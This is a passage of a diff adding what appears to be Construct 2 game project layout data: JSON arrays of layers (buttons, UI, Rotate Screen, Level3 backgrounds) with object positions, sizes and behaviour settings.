+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5755,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5794.390625,
+ 883.2872924804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5756,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2935,
+ 1371,
+ 0,
+ 5941,
+ 687,
+ 0,
+ 0,
+ 1,
+ 0.5078125,
+ 0.5182482004165649,
+ 0,
+ 0,
+ []
+ ],
+ 537,
+ 5741,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3338.875,
+ 704.2603759765625,
+ 0,
+ 277.119384765625,
+ 660.4608154296875,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 452,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3317.055419921875,
+ 304.041015625,
+ 0,
+ 37,
+ 159,
+ 0,
+ 0,
+ 1,
+ 0.5135135054588318,
+ 0.5031446814537048,
+ 0,
+ 0,
+ []
+ ],
+ 493,
+ 5761,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3341.624267578125,
+ -23.45034790039063,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5757,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3340.877685546875,
+ 52.55036926269531,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5758,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3340.877685546875,
+ 127.8056640625,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5759,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3340.131103515625,
+ 203.8063354492188,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5760,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3338.87109375,
+ -87.02833557128906,
+ 0,
+ 82.529052734375,
+ 660.4608154296875,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5762,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 392,
+ -625,
+ 0,
+ 104.6947937011719,
+ 104.6947937011719,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 539,
+ 5763,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1122.911743164063,
+ 544.9635009765625,
+ 0,
+ 111.04736328125,
+ 425.4334106445313,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5011876225471497,
+ 0,
+ 0,
+ []
+ ],
+ 547,
+ 6614,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1855.1376953125,
+ 634.0825805664062,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 6628,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4864.802734375,
+ 809.0714111328125,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 6629,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "buttons",
+ 6,
+ 733146171054520,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "UI",
+ 7,
+ 683657618613699,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 60,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.5051546096801758,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 361,
+ 510,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 189,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 362,
+ 511,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 740.5921630859375,
+ 416.3991088867188,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 363,
+ 512,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 401,
+ 23,
+ 0,
+ 118,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5254237055778503,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 434,
+ 4840,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 875,
+ -79,
+ 0,
+ 100,
+ 100,
+ 0,
+ 2.381202459335327,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 538,
+ 583,
+ [],
+ [],
+ [
+ 50,
+ 80,
+ 0,
+ 300,
+ 16,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0,
+ 0,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 10
+ ]
+ ],
+ [
+ [
+ 400,
+ 61,
+ 0,
+ 107,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5046728849411011,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 326,
+ 5709,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 387,
+ -2,
+ 0,
+ 414,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 355,
+ 5710,
+ [],
+ [],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "0",
+ 0.45,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -30,
+ 0
+ ]
+ ],
+ [
+ [
+ 26,
+ 21,
+ 0,
+ 42.14814376831055,
+ 37.89653015136719,
+ 0,
+ 0,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ 0,
+ 0,
+ []
+ ],
+ 381,
+ 5712,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 118,
+ 24,
+ 0,
+ 39,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.7179487347602844,
+ 0.5128205418586731,
+ 0,
+ 0,
+ []
+ ],
+ 450,
+ 5713,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 74,
+ 24,
+ 0,
+ 36,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.6388888955116272,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 446,
+ 5714,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 401,
+ 442,
+ 0,
+ 228,
+ 61,
+ 0,
+ 0,
+ 1,
+ 0.5043859481811523,
+ 0.5081967115402222,
+ 0,
+ 0,
+ []
+ ],
+ 327,
+ 5764,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 405,
+ 241,
+ 0,
+ 875,
+ 544,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 356,
+ 508,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Collisionsidle",
+ 8,
+ 659080817576419,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Rotate Screen",
+ 9,
+ 448566416967446,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 62,
+ 1219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ]
+ ],
+ [],
+ []
+ ],
+ [
+ "Level3",
+ 5200,
+ 1500,
+ false,
+ "Gameplay1",
+ 881689744076818,
+ [
+ [
+ "fondo",
+ 0,
+ 890383461187332,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.699999988079071,
+ 0.800000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -11,
+ -16,
+ 0,
+ 10112,
+ 1814,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 306,
+ 634,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Background5",
+ 1,
+ 270005238425714,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -297,
+ -92,
+ 0,
+ 7497,
+ 573,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 331,
+ 64,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -678,
+ 625,
+ 0,
+ 141,
+ 136,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 349,
+ 65,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 5219.5,
+ 765.5,
+ 0,
+ 51,
+ 1549,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 68,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -19,
+ 660.5,
+ 0,
+ 40,
+ 1337,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 816,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 0",
+ 2,
+ 110851085780298,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.05000000074505806,
+ 0.300000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 267,
+ 94,
+ 0,
+ 250,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 309,
+ 82,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "fondo2",
+ 3,
+ 707775562451641,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.800000011920929,
+ 0.8500000238418579,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Layer 1",
+ 4,
+ 965369513833835,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.8999999761581421,
+ 0.8999999761581421,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 325,
+ 896,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4806,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -15,
+ 876,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4807,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 498,
+ 1065,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4809,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 801,
+ 1131,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4810,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1125,
+ 1123,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4811,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1435,
+ 1083,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4813,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 946,
+ 1354,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4814,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1619,
+ 782,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4817,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2487,
+ 616,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4818,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2393,
+ 661,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4819,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3248,
+ 896,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4859,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3351,
+ 932,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4862,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3629,
+ 1136,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4877,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3960,
+ 1314,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4878,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4346,
+ 1314,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4918,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4719,
+ 1312,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4919,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5022,
+ 941,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4920,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4183,
+ 1678,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4921,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4787,
+ 1663,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4922,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5253,
+ 1171,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5204,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1784,
+ 1394,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5205,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2015,
+ 1494,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5206,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2736,
+ 1327,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5207,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3065,
+ 1494,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5208,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2202,
+ 1138,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5209,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1685,
+ 1206,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5210,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 284,
+ 851,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 5211,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 30,
+ 1070,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5212,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 248,
+ 1195,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5213,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1584,
+ 1004,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5214,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2481,
+ 919,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5215,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3327,
+ 881,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5216,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3567,
+ 1176,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5217,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3709,
+ 1466,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5218,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4885,
+ 942,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5219,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5231,
+ 1086,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5222,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Game",
+ 5,
+ 379845866601170,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 3834,
